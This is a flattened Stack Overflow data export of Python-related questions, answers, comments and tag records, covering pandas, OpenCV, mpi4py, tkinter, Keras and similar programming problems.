has body: I have this df dateTime 1min hour minute X EXPECTED Rolling_X 2017-09-19 02:00:04 2017-09-19 02:00:00 2 0 5 5 2017-09-19 02:00:04 2017-09-19 02:00:00 2 0 1 6 2017-09-19 02:00:04 2017-09-19 02:00:00 2 0 1 7 2017-09-19 02:00:22 2017-09-19 02:00:00 2 0 2 9 2017-09-19 02:01:31 2017-09-19 02:01:00 2 1 0 9 2017-09-19 02:01:31 2017-09-19 02:01:00 2 1 1 10 2017-09-19 02:01:32 2017-09-19 02:01:00 2 1 1 11 2017-09-19 02:01:34 2017-09-19 02:01:00 2 1 6 17 2017-09-19 02:01:35 2017-09-19 02:01:00 2 1 5 22 2017-09-19 02:01:35 2017-09-19 02:01:00 2 1 0 22 2017-09-19 02:01:39 2017-09-19 02:01:00 2 1 1 23 2017-09-19 02:01:58 2017-09-19 02:01:00 2 1 2 25 2017-09-19 02:01:58 2017-09-19 02:01:00 2 1 0 25 2017-09-19 02:02:02 2017-09-19 02:02:00 2 2 3 19 2017-09-19 02:02:32 2017-09-19 02:02:00 2 2 0 19 2017-09-19 02:02:32 2017-09-19 02:02:00 2 2 1 20 2017-09-19 02:02:40 2017-09-19 02:02:00 2 2 15 35 2017-09-19 02:02:41 2017-09-19 02:02:00 2 2 6 41 2017-09-19 02:02:44 2017-09-19 02:02:00 2 2 1 42 2017-09-19 02:02:53 2017-09-19 02:02:00 2 2 3 45 2017-09-19 02:03:00 2017-09-19 02:03:00 2 3 1 30 2017-09-19 02:03:00 2017-09-19 02:03:00 2 3 1 31 2017-09-19 02:03:05 2017-09-19 02:03:00 2 3 1 32 2017-09-19 02:04:07 2017-09-19 02:04:00 2 4 7 10 2017-09-19 02:04:58 2017-09-19 02:04:00 2 4 2 12 2017-09-19 02:05:22 2017-09-19 02:05:00 2 5 11 23 2017-09-19 02:05:36 2017-09-19 02:05:00 2 5 2 25 I am looking for continues rolling sum which is depended on the minutes. I need a continues rolling for the last 2 minutes. so every time I get the sum of X but when the datetime is increasing by 1 minute than it will drop the prior tailed 1 min so alway I will have only last 2 minutes. The problem is that there is no same amount of data per each minute. I tried you use: s2m = df['dateTime'].dt.floor('2T').diff().shift(-1).eq(pd.Timedelta('2 minutes')) s2m1 = df['X'].cumsum() df['truncate_2m'] = s2m.mul(s2m1).diff().where(lambda x: x &lt; 0).ffill().add(s2m1, fill_value=0) but it is resting the sum every 2 minu…
type: AnsweredQuestion
score: 0
tagged with: pandas
answer count: 1
has title: continues rolling sum by multiply minutes of datetime in python
type: Question
accepted answer: http://stackoverflow.com/a/49514584

http://stackoverflow.com/q/49516630
tagged with: image
type: Question
has body: I want to use python3 with OpenCV packages to rotate an image in a degree 15 and rotate it back. However, the code below seem does not work but I think there no logic error in the codes. In the "NEAREST" window, the image is rotated correctly but in the "NEAREST-OK-RESTORE" window the image is not rotate back to its original position ( showed in "original" window ). #! /usr/bin/env python3 #! -*- coding:utf-8 -*- import cv2 import numpy as np imgmat = cv2.imread('./lena.jpg',255) print(hex(id(imgmat))) cv2.imshow('original',imgmat) rows,cols = imgmat.shape M = cv2.getRotationMatrix2D((cols/2,rows/2),-15,1) dst = cv2.warpAffine(src=imgmat,M=M,dsize=(cols,rows),flags=cv2.INTER_NEAREST) print(hex(id(dst))) cv2.imshow('NEAREST',dst) OKMM = cv2.invertAffineTransform(M) dst = cv2.warpAffine(dst,OKMM,(cols,rows),flags = cv2.INTER_NEAREST) print(hex(id(dst))) cv2.imshow('NEAREST-OK-RESTORE',dst) cv2.waitKey(0) The test image is here:
has comment: http://stackoverflow.com/comment/86101818
has comment: http://stackoverflow.com/comment/86038749
has comment: http://stackoverflow.com/comment/86081687
score: 1
has comment: http://stackoverflow.com/comment/86108272
answer count: 1
has comment: http://stackoverflow.com/comment/86038661
downvote count: 0
upvote count: 1
accepted answer: http://stackoverflow.com/a/49517068
has comment: http://stackoverflow.com/comment/86039346
favorite count: 0
has answer: http://stackoverflow.com/a/49517068
tagged with: opencv
tagged with: image-rotation
has comment: http://stackoverflow.com/comment/86039374
has title: OpenCV python3 cannot rotate image back correctly
type: AnsweredQuestion
tagged with: python
tagged with: image-processing

http://stackoverflow.com/comment/86117816
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49552246
has text: You can easliy tell if your program gets parameters by printing `argc` and `argv`. I want to figure out if you have a problem in your program or in usage of GDB
type: Comment

http://stackoverflow.com/comment/85919283
has text: @vegardstikbakke You should consider writing your own answer to this question
comment on: http://stackoverflow.com/q/49446682
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49596941
score: 2
answers question: http://stackoverflow.com/q/49596604
type: Answer
upvote count: 2
downvote count: 0
has body: Here is a quite simple implementation: lst = ['foo', 'bar', '!test', 'hello', 'world!', 'word'] lst_tmp = [(tuple(el.split()) if ' ' in (el[0], el[-1]) else el.split()) for el in ' '.join(lst).split('!')] lst = [] for el in lst_tmp: if isinstance(el, tuple): for word in el: lst.append(word) else: lst.append(el) First we join lst into a single str and then split it on '!'. Now, this results in ['foo bar ', 'test hello world', ' word']. We can now use the appearing whitespace characters in the beginning or end of the elements to signify where the embedded list should appear. The words that should appear individually are packed into tuples, just to distinguish them from the list(s). All of this results in lst_tmp. The final thing to do is to unpack the tuples into their single elements, which is what the loop is doing.
has comment: http://stackoverflow.com/comment/86201100

http://stackoverflow.com/q/49514975
has comment: http://stackoverflow.com/comment/86040533
has answer: http://stackoverflow.com/a/49526086
tagged with: mpi4py
has answer: http://stackoverflow.com/a/65122081
has comment: http://stackoverflow.com/comment/86039776
has title: Processes are spawned before the MPIPoolExecutor initialization. In addition can I use a HPC with the ProccesPoolExecutor?
answer count: 3
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86037884
has answer: http://stackoverflow.com/a/56091354
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86039531
has body: I am using the mpi4py library for parallel programming. But it seems that processes are spawned before I creat my MPIPoolExecutor, since I got 4 times the same warning that it lies before the initialization of my Executor. Is this something normal? How can I prevent this? start_time = time.time() Nodes = pd.read_csv(Csvfile) fields = SelectCoordinates(Nodes,min_lon = 10, max_lon = 11, min_lat = 49, max_lat = 50) ts = pd.read_csv(File to be read) n=6 # number of steps of forecast p = 2 # number of lags L = 1000# size of data we will use ts = ts.iloc[0*L:1*L] Farms = ts.shape[1] colnames = ts.columns.values.tolist() ts=ts.values # n = fstep # number of time steps ahead size = int(len(ts) * 0.66) #Determining train and test set train = np.zeros(shape=(size,Farms)) test = np.zeros(shape=(len(ts)-size,Farms)) train, test = ts[0:size], ts[size:len(ts)] #=================Intialization================ G = np.zeros(shape=(Farms*p,Farms*p))# Gt = np.zeros(shape=(Farms*p,Farms*p))# gn = np.zeros(shape=(Farms*p,1)) b = np.zeros(shape=(Farms*p,Farms)) X = np.zeros(shape=(Farms*p,Farms)) # Coefficient Matrix #x = np.ones(shape=(Farms*p,1)) # Coefficient Matrix #x[0] = 1 lamda = 0.001 c = 0.1 v=0.999 T = len(train) workers = MPIPoolExecutor(max_workers = 4) for t in range(p,T): result_list = [] to_do = list() count = 0 for l in range(p): for k in range(4): gn[count]=train[t-l-1,k] count+=1 G = G*v + gn @ gn.T Gt = (1/(t-p+1))*G if __name__ == '__main__': for i in range(4): job = workers.submit(OULtraining, train[t,i], X[:,i,np.newaxis], b[:,i,np.newaxis], i, gn) job.add_done_callback(log_result) to_do.append(job) for future in cf.as_completed(to_do): result_list.append(future.result()) result_list = sorted(result_list,key=itemgetter(2)) for i in range(4): X[:,i,np.newaxis], b[:,i,np.newaxis], s = result_list[i] if (t%100==0): print(t) print("--- %s seconds ---" % (time.time() - start_time)) I want to implement a recursive parallel algorithm and I want a MPIpool to be created only …
tagged with: mpi
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86035767
tagged with: python

http://stackoverflow.com/comment/86080390
type: Comment
type: QuestionComment
has text: The same here - works perfectly
comment on: http://stackoverflow.com/q/49536806
score: 0

http://stackoverflow.com/q/49509524
answer count: 1
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
has title: Datetime formatting in Python does not match format
has comment: http://stackoverflow.com/comment/86023048
has comment: http://stackoverflow.com/comment/86023093
has body: I have a date stored in a string as: date = '26 March 2018' I'm trying to convert it to a datetime object with the following code: date_element2 = datetime.strptime(date, '%d, %B, %Y') But I'm getting the following traceback error: ValueError: time data '26 March 2018' does not match format '%d, %B, %Y' I can't figure out for the life of me how the formatting is incorrect, any help would be appreciated. Thanks,
tagged with: datetime
tagged with: python
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49509567
has answer: http://stackoverflow.com/a/49509567
tagged with: strptime

http://stackoverflow.com/comment/86242692
score: 0
type: Comment
has text: Perhaps you meant to merely hide the widget?
type: QuestionComment
comment on: http://stackoverflow.com/q/49598916

http://stackoverflow.com/q/49528387
tagged with: python
has comment: http://stackoverflow.com/comment/86062338
has answer: http://stackoverflow.com/a/49528474
type: Question
downvote count: 4
upvote count: 2
has comment: http://stackoverflow.com/comment/86062539
has title: Want to copy paste the program in python shell
type: UnansweredQuestion
answer count: 1
favorite count: 0
score: -2
has body: I created a small program to calculate minutes in a week it executed well as I envisioned. but now I want to make little change in a program just to change the hours in a day from 24 to 26 so I just copy pasted the whole program in python shell itself and made a change as cited above and here is the problem : It gives a syntax error:

http://stackoverflow.com/q/49543407
type: Question
tagged with: python-3.x
tagged with: opencv
tagged with: haar-classifier
has body: I am attempting to combine two scripts for getting facial recognition to work with a live video feed from my laptop web cam. I have one working opencv2 script that works with my webcam to view live footage and the other is a facial recognition script with the haar classifier on a jpeg still image. I am working with Python 3.6 IDE, open cv2. This script below works for viewing a live feed thru my laptop web camera. import numpy as np import cv2, time video = cv2.VideoCapture(0) a = 0 while True: a = a + 1 check, frame = video.read() print(check) print(frame) gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) cv2.imshow("Capturing", gray) cv2.waitKey(1) key = cv2.waitKey(1) if key == ord('q'): break print(a) video.release() And I got this script that draw a box around a face to work for the haar classifier with a function on a still .jpeg image. How would I go about combining these two scripts with using the haar classifier for facial recognition on live video feed? The haar classifier XML and jpeg are files on my local PC directory. import cv2 import matplotlib.pyplot as plt import time def detect_faces(f_cascade, colored_img, scaleFactor = 1.1): img_copy = colored_img.copy() gray = cv2.cvtColor(img_copy, cv2.COLOR_BGR2GRAY) faces = f_cascade.detectMultiScale(gray, scaleFactor=scaleFactor, minNeighbors=5); for (x, y, w, h) in faces: cv2.rectangle(img_copy, (x, y), (x+w, y+h), (0, 255, 0), 2) return img_copy test2 = cv2.imread('C:/Python/opencv/sAndb.jpg') haar_face_cascade = cv2.CascadeClassifier('C:/Python/opencv/opencv-master/opencv-master/data/haarcascades/haarcascade_frontalface_alt.xml') faces_detected_img = detect_faces(haar_face_cascade, test2) cv2.imshow('Faces', faces_detected_img)
tagged with: python
accepted answer: http://stackoverflow.com/a/49544877
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49544877
has title: Python opencv2 haar classifier
answer count: 1

http://stackoverflow.com/q/49566866
has comment: http://stackoverflow.com/comment/86142244
has body: I have this link below ( where the freepeople+top has the + replacing a space) https://poshmark.com/search?query=freepeople+top&amp;type=listings&amp;department=Women I was doing this to query the link : search='https://poshmark.com/search?' brand="freepeople" style="top" # &amp; seperates parameters queryParameters={'query':[brand,style],'type':'listings','department':'Women'} response=requests.get(search,params=queryParameters) I'm confused why when I did print(response.text) it appears like it gives me all the html but when I do: MacBook-Air-4:finalproject BCohen$ python3 poshmart.py &gt;/tmp/poshmart.html MacBook-Air-4:finalproject BCohen$ open /tmp/poshmart.html It doesn't take me to a valid page I was assuming that maybe I queried the Indexed search ( the + ) wrong but I'm not sure how to properly query it.
has comment: http://stackoverflow.com/comment/86142194
has comment: http://stackoverflow.com/comment/86142486
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86142203
has comment: http://stackoverflow.com/comment/86142247
has comment: http://stackoverflow.com/comment/86142490
has comment: http://stackoverflow.com/comment/86142498
has comment: http://stackoverflow.com/comment/86142580
has comment: http://stackoverflow.com/comment/86142311
has comment: http://stackoverflow.com/comment/86142238
answer count: 1
has comment: http://stackoverflow.com/comment/86142545
has comment: http://stackoverflow.com/comment/86142208
has comment: http://stackoverflow.com/comment/86142460
has comment: http://stackoverflow.com/comment/86142573
accepted answer: http://stackoverflow.com/a/49567195
favorite count: 0
has comment: http://stackoverflow.com/comment/86142129
type: Question
has answer: http://stackoverflow.com/a/49567195
has comment: http://stackoverflow.com/comment/86142517
tagged with: python-3.x
has title: How to send a get request for words with spaces in-between
has comment: http://stackoverflow.com/comment/86142152
has comment: http://stackoverflow.com/comment/86142524
has comment: http://stackoverflow.com/comment/86142336
upvote count: 1
tagged with: python
tagged with: request
downvote count: 1

http://stackoverflow.com/a/49567696
accepted answer of: http://stackoverflow.com/q/49450646
score: 1
type: Answer
has body: I had an issue very similar to yours. I was able to solve it by using a different connection method: my_dsn = cx_Oracle.makedsn("host",port,sid="sid") connection = cx_Oracle.connect(user="user", password="password", dsn=my_dsn) cursor = connection.cursor() querystring = "SQL query" cursor.execute(querystring) See http://cx-oracle.readthedocs.io/en/latest/module.html for more information
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49450646
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/49482480
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49482492
accepted answer: http://stackoverflow.com/a/49482492
has body: If I have a list of 10 items like ["item1", "item2", "item3", ..., "item10"] random.sample(range(10), 4) would return a list of 4 unique items within the range. Is there another "random" method that returns a random list with the possibility of repeating items?
tagged with: python
linked to: http://stackoverflow.com/q/43281886
type: AnsweredQuestion
tagged with: python-2.7
score: 0
tagged with: list
tagged with: random
upvote count: 1
downvote count: 1
answer count: 1
duplicate of: http://stackoverflow.com/q/43281886
has title: printing random list with the possibility of repeating items in Python

http://stackoverflow.com/a/49583060
score: 1
type: Answer
has body: This is actually due to your sleep function, this freezes the main thread for tkinter which you cannot do. Here's some code that will work: import tkinter x = 0 repeat = 0 def start_counter(): global x, repeat repeat+=1 x += 1 display.config({"text" : "x = {0}".format(x)}) if repeat &lt; 5: #3000 because 1000 in a second window.after(3000, start_counter) window = tkinter.Tk() display = tkinter.Label(window) display.pack() start = tkinter.Button(window, text="Start", command=start_counter) start.pack() window.mainloop() Notice how I use "window.after(3000, function)". This tells tkinter to do something after 3 seconds and thus doesn't freeze the main thread. If you want it to sleep before even showing the number 1, you need to change a few things, in which case I'd be happy to update my code for you :)
has comment: http://stackoverflow.com/comment/86174470
accepted answer of: http://stackoverflow.com/q/49582885
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49582885
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86174629

http://stackoverflow.com/q/49480217
tagged with: hex
tagged with: pyc
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/85963324
answer count: 1
linked to: http://stackoverflow.com/q/261638
has body: I have a project to send, where basically I have to send an email using python. My code is complete so I was about to send it. Because of the fact the module smtplib needs my email log in, I compiled my code so people could no see my email and password, however, even compiled, when we look at the hex code, we can still see my email and password (and some print) Is there a way to compile so we have no information left after? Thank you very much for your help and time !
accepted answer: http://stackoverflow.com/a/49480261
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85963310
linked to: http://stackoverflow.com/q/3344115
has title: remove remaining hex code in Pyc file
tagged with: compilation
has comment: http://stackoverflow.com/comment/85963317
tagged with: python
has answer: http://stackoverflow.com/a/49480261

http://stackoverflow.com/a/49554802
upvote count: 2
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49554196
downvote count: 0
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/86117134
has comment: http://stackoverflow.com/comment/86119193
has comment: http://stackoverflow.com/comment/86117849
has comment: http://stackoverflow.com/comment/86119543
accepted answer of: http://stackoverflow.com/q/49554196
has body: Could be a simple mistake. I think you should do this : df = pd.read_csv(filename, error_bad_lines=False, warn_bad_lines=False, parse_dates=['Time UTC'], date_parser=dateparse) Indeed, you should refer parse_dates to 'Time UTC' which is the column of interest, and not 'datetime'. Otherwise, you may more easily let pd.to_datetime() handle the task, using : df = pd.read_csv(filename, error_bad_lines=False, warn_bad_lines=False) # Changing datatype df['Time UTC'] = pd.to_datetime(df['Time UTC'])

http://stackoverflow.com/comment/86034385
comment on: http://stackoverflow.com/q/49514048
has text: @KeyurPotdar It shouldn't interrupt the special character from being displayed correctly when printing.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/49540365
tagged with: keras
score: 0
answer count: 1
tagged with: tensorflow
type: Question
has title: Keras composed neural network model from two neural network models
has body: I am using Keras with Tensorflow to implement my model (M). Lets suppose that I have the following input features F = {x,y, a1, a2, a3, ..., an} I want to build a deep model (M1) using only x and y. Then, the output of (M1) with all the remaining features (a1, a2, ..., an) will be the input of another model (M2). x,y --> M1 --> z, a1, a2, ..., an --> M2 --> final output How can I build such model in Keras?
type: UnansweredQuestion
tagged with: neural-network
has answer: http://stackoverflow.com/a/49540954
tagged with: python

http://stackoverflow.com/a/49476575
has body: You can achieve this by appending to the existing URL instead of replacing it. you can do as follows: $("#doc-menu > li > a").attr("href", function(i, href) { return href + (href.indexOf('?') > -1 ? '&child=False': '?child=False'); }); I'm without params I Have extra params in this, i have just appended the query string to url inside the anchor tag using a callback function inside attr
accepted answer of: http://stackoverflow.com/q/49476252
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49476252
score: 0
type: Answer

pyspark
tags question: http://stackoverflow.com/q/49555269
tags question: http://stackoverflow.com/q/49458456
tags question: http://stackoverflow.com/q/49508842
tags question: http://stackoverflow.com/q/49446794
tags question: http://stackoverflow.com/q/49451669
tags question: http://stackoverflow.com/q/49463847
tags question: http://stackoverflow.com/q/49494111
tags question: http://stackoverflow.com/q/49582043
tags question: http://stackoverflow.com/q/49490150
tags question: http://stackoverflow.com/q/49509535
tags question: http://stackoverflow.com/q/49503551
tags question: http://stackoverflow.com/q/49523419
tags question: http://stackoverflow.com/q/49552381
tags question: http://stackoverflow.com/q/49446181
type: Tag
tags question: http://stackoverflow.com/q/49526374
tags question: http://stackoverflow.com/q/49566765
tags question: http://stackoverflow.com/q/49522122
tags question: http://stackoverflow.com/q/49537725
tags question: http://stackoverflow.com/q/49554501
tags question: http://stackoverflow.com/q/49519475
tags question: http://stackoverflow.com/q/49481363
tag name: pyspark
tags question: http://stackoverflow.com/q/49464444
tags question: http://stackoverflow.com/q/49540313
tags question: http://stackoverflow.com/q/49500632
tags question: http://stackoverflow.com/q/49520830

http://stackoverflow.com/a/49470958
has body: The documentation tells us about matplotlib.mlab.normpdf Deprecated since version 2.2: scipy.stats.norm.pdf This translates into: Do not use this function any more, use scipy.stats.norm.pdf instead. Hence a previous code like import matplotlib.mlab as mlab import numpy as np x = np.linspace(-3,3) mu = 0 sigma = 1 y = mlab.normpdf(x, mu, sigma) should now read import numpy as np import scipy.stats x = np.linspace(-3,3) mu = 0 sigma = 1 y = scipy.stats.norm.pdf(x, mu, sigma)
answers question: http://stackoverflow.com/q/49470837
score: 6
type: Answer
upvote count: 6
downvote count: 0

http://stackoverflow.com/q/49498636
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has title: Filling out empty cells with lists of values
has body: I have a data frame that looks like below: City State Country Chicago IL United States Boston San Diego CA United States Los Angeles CA United States San Francisco Sacramento Vancouver BC Canada Toronto And I have 3 lists of values that are ready to fill in the None cells: city = ['Boston', 'San Francisco', 'Sacramento', 'Toronto'] state = ['MA', 'CA', 'CA', 'ON'] country = ['United States', 'United States', 'United States', 'Canada'] The order of the elements in these list are correspondent to each other. Thus, the first items across all 3 lists match each other, and so forth. How can I fill out the empty cells and produce a result like below? City State Country Chicago IL United States Boston MA United States San Diego CA United States Los Angeles CA United States San Francisco CA United States Sacramento CA United States Vancouver BC Canada Toronto ON Canada My code gives me an error and I'm stuck. if df.loc[df['City'] == 'Boston']: 'State' = 'MA' Any solution is welcome. Thank you.
tagged with: python
accepted answer: http://stackoverflow.com/a/49498804
has answer: http://stackoverflow.com/a/49498804
type: AnsweredQuestion
tagged with: pandas

http://stackoverflow.com/comment/86002695
type: QuestionComment
comment on: http://stackoverflow.com/q/49499276
has text: Well, there's no variable named "add" in your `main` function, so what did you expect to happen?
score: 1
type: Comment

http://stackoverflow.com/q/49561868
answer count: 1
has body: The error from the title crops up in a very strange case for me. I have a dataframe copy_data and I am trying to remove a set of columns from it. I generate the set of column names to remove: set_to_remove = set(list(copy_data)) - set([self.farmConfig['mapping'][column]['column'].split('.')[0] for column in self.farmConfig['mapping']]) where self.farmConfig has a structure like this: farmConfig = { 'mapping': { 'A': { 'column': 'a' }, 'B': { 'column': 'b' }, ... } } and I can confirm that the result of set_to_remove is a valid subset of the set of columns. Then I call copy_data.drop(list(set_to_remove), inplace=True), where I run into this error. Note that for some reason, this works when copy_data is smaller, but fails when I run it on the full size. So my questions are - why am I getting this error, and how can I fix it?
accepted answer: http://stackoverflow.com/a/49562628
has answer: http://stackoverflow.com/a/49562628
type: AnsweredQuestion
score: 0
tagged with: typeerror
type: Question
tagged with: pandas
has title: pd.drop() throws TypeError: '>' not supported between instances of 'str' and 'int'
tagged with: dataframe
tagged with: python
tagged with: python-3.x

http://stackoverflow.com/q/49499032
tagged with: tkinter
has answer: http://stackoverflow.com/a/49499611
has comment: http://stackoverflow.com/comment/86002519
upvote count: 0
has body: How to make a window which displays all the contents(.txt, .docs, .docx, .pdf) of a folder/directory in python and can be opened by double click in a frame in the same window.
downvote count: 5
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86002370
score: -5
has comment: http://stackoverflow.com/comment/86002317
has title: A window which displays all the files(.txt, .docs, .docx, .pdf) of a folder/directory in python
answer count: 1
tagged with: tkinter-canvas
favorite count: 0
has comment: http://stackoverflow.com/comment/86002609
type: Question
accepted answer: http://stackoverflow.com/a/49499611
has comment: http://stackoverflow.com/comment/86002239

http://stackoverflow.com/comment/86101188
comment on: http://stackoverflow.com/q/49546831
has text: if you try the same request in Postman, does it return the right data?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49482803
downvote count: 0
has comment: http://stackoverflow.com/comment/85969081
has body: You should be able to simply add a hidden input to your form to capture the patient ID: {% block content %} Patient Checkin {{patient.first_name}} {{patient.last_name}} {% csrf_token %} {% bootstrap_form form %} {% buttons %} Submit {% endbuttons %} {% endblock %} (Note this assumes that the patient ID is accessible from the patient_id property of the patient object.) Then, in your CheckinSubmit method, you can access this value via request.POST.get('patient_id') Alternatively, it appears that your check in form loads with the patient ID in the URL. In your CheckinSubmit method, you should be able to access this URL through the request.META.HTTP_REFERER property. You could then parse the URL (e.g., using request.META.HTTP_REFERER.split('/')[len(request.META.HTTP_REFERER.split('/')) - 1] to pull out the patient ID.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85968731
upvote count: 9
type: Answer
accepted answer of: http://stackoverflow.com/q/49482742
score: 9
answers question: http://stackoverflow.com/q/49482742

http://stackoverflow.com/a/49568876
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86252800
answers question: http://stackoverflow.com/q/49533208
has comment: http://stackoverflow.com/comment/86252827
has comment: http://stackoverflow.com/comment/86252557
has comment: http://stackoverflow.com/comment/86293047
type: Answer
has comment: http://stackoverflow.com/comment/86255973
has comment: http://stackoverflow.com/comment/86258828
has body: In xml: Vendor address : Changed ${object.company_id and object.company_id.email or ''} Address Changed for ${object.name} person@mail.com person@mail.com ${object.lang} Updated by ${(object.creating_user_id.name)} IP Address:${(object.ip_address or '')} Updated Address: ${(object.street or '')} ${(object.street2 or '')} ${(object.city or '')} ${(object.state_id.name or '')} ${(object.zip or '')} ${(object.country_id.name or '')}

http://stackoverflow.com/q/49593550
tagged with: python
has body: I am trying to run a command to install Tensorflow from source, I use Bazel to install from source (This is being done a raspberry pi -- Linux OS software). This what I am trying to do on my raspberry pi (I am trying to model the instruction from here: https://github.com/samjabrahams/tensorflow-on-raspberry-pi/blob/master/GUIDE.md): ./configure bazel build -c opt --copt="-mfpu=neon-vfpv4" --copt="-funsafe-math-optimizations" --copt="-ftree-vectorize" --copt="-fomit-frame-pointer" --local_resources 1024,1.0,1.0 --verbose_failures tensorflow/tools/pip_package:build_pip_package I am using Bazel version 0.10.0 I get the following error when I run it (This is a super long installation and it was almost done installing all the files and then it suddenly said the build failed, and Bazel couldn't be built. Does anyone know how to fix or have resources on how to fix this error)? Here is the error message that I get: /home/pi/tensorflow/tensorflow/contrib/lite/toco/BUILD:391:1: Linking of rule '//tensorflow/contrib/lite/toco:toco' failed (Exit 1): gcc failed: error executing command (cd/home/pi/.cache/bazel/_bazel_pi/c9b23b7b8edb3dba430c02139630698d/execroot/org_tensorflow &amp;&amp; \ exec env - \ LD_LIBRARY_PATH=/usr/local/cuda-7.0/lib64 \ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/opt/anaconda/bin:/usr/local/cuda-7.0/bin \ PWD=/proc/self/cwd \ PYTHON_BIN_PATH=/usr/bin/python \ PYTHON_LIB_PATH=/usr/local/lib/python2.7/dist-packages \ TF_DOWNLOAD_CLANG=0 \ TF_NEED_CUDA=0 \ TF_NEED_OPENCL_SYCL=0 \ I have searched the web for hours but have not come across anything that looks remotely similar to the error I am facing. Guidance, help or resources would be greatly appreciated.
tagged with: bazel
has comment: http://stackoverflow.com/comment/86208570
has title: Bazel and Tensorflow Error on Raspberry Pi: Building From Source
has comment: http://stackoverflow.com/comment/86195182
answer count: 0
has comment: http://stackoverflow.com/comment/86210560
has comment: http://stackoverflow.com/comment/86209593
score: 1
tagged with: machine-learning
upvote count: 1
tagged with: tensorflow
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86199753
tagged with: raspberry-pi
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86209709
downvote count: 0

http://stackoverflow.com/q/49466372
has answer: http://stackoverflow.com/a/49466410
tagged with: python
tagged with: inheritance
has comment: http://stackoverflow.com/comment/85935489
has comment: http://stackoverflow.com/comment/85935338
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/85935463
possible better answer: http://stackoverflow.com/a/49466410
tagged with: base-class
accepted answer: http://stackoverflow.com/a/49466406
downvote count: 0
has comment: http://stackoverflow.com/comment/85935355
has body: I know that by inheriting the base class. All the functions in base class would be accessible in the derived class as well. But how does it work the other way, meaning can a function that is defined in the child class be accessible in the base class. I tried the above out with an example. And it works just fine. But how can that be. I am not able to get the logic behind the working. class fish: def color(self): # _colour is a property of the child class. How can base class access this? return self._colour class catfish(fish): _colour = "Blue Cat fish" def speed(self): return "Around 100mph" def agility(self): return "Low on the agility" class tunafish(fish): _colour = "Yellow Tuna fish" def speed(self): return "Around 290mph" def agility(self): return "High on the agility" catfish_obj = catfish() tunafish_obj = tunafish() print(catfish_obj.color()) print(tunafish_obj.color()) I understand that the instance is being passed and all through self, but the details of the child class should logically not be accessible in the base class, correct?!
has answer: http://stackoverflow.com/a/49466406
favorite count: 0
type: Question
has title: Scope of derived class in base class - Inheritance in python
score: 5
upvote count: 5

redis
tags question: http://stackoverflow.com/q/49495488
tags question: http://stackoverflow.com/q/49469546
tags question: http://stackoverflow.com/q/49537392
type: Tag
tags question: http://stackoverflow.com/q/49548527
tags question: http://stackoverflow.com/q/49584776
tag name: redis
tags question: http://stackoverflow.com/q/49455115
tags question: http://stackoverflow.com/q/49450014
tags question: http://stackoverflow.com/q/49501734
tags question: http://stackoverflow.com/q/49488458
tags question: http://stackoverflow.com/q/49532536

http://stackoverflow.com/comment/86089294
has text: I upvoted this slightly reluctantly, because it does answer the question.
type: Comment
comment on: http://stackoverflow.com/a/49540782
score: 0
type: AnswerComment

http://stackoverflow.com/q/49584007
tagged with: python
has comment: http://stackoverflow.com/comment/86177255
score: 0
has comment: http://stackoverflow.com/comment/86176554
has title: Circumventing connection rejection when webscraping
answer count: 0
linked to: http://stackoverflow.com/q/28869168
linked to: http://stackoverflow.com/q/20437701
type: Question
has body: I wrote a script that scrapes a particular website. However, because of the way this website is designed, I have to make a separate HTTP request for every page. Given that there are about 2,000 pages I need to scrape, I decided to test my script on just the first 100. I added some delay inbetween requests to not overload the server, but after about 70th request, the host rejects to connect. If I restart the script, it works just fine until, again, the 70th request. I've tried adding a 10 minute pause before retrying when the host refuses to connect, but that doesn't seem to work. What would be the best way to circumvent this anti-scraping measure? Below is an example of how my script looks. URL = 'http://www.url/here/{page}' for i in range(1, 101): try: r = requests.get(URL.format(page=i)) except URLError: time.sleep(600) # Wait 10 minutes before retrying r = requests.get(URL.format(page=i)) finally: pause = random.randint(10, 20) time.sleep(pause)
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86177297
has comment: http://stackoverflow.com/comment/86188272
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86177285
has comment: http://stackoverflow.com/comment/86176171
has comment: http://stackoverflow.com/comment/86176471

http://stackoverflow.com/comment/85943286
has text: Thank you for your answer, I edited a little the code (I reversed s=s+1 / k=k+C[s]), but now I get the same error for the line C[s]=(A[a]**2+B[b]**2)**0.5 (line 11)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49470220
type: Comment

http://stackoverflow.com/a/49490904
upvote count: 2
accepted answer of: http://stackoverflow.com/q/49490711
has comment: http://stackoverflow.com/comment/85986093
type: AcceptedAnswer
downvote count: 0
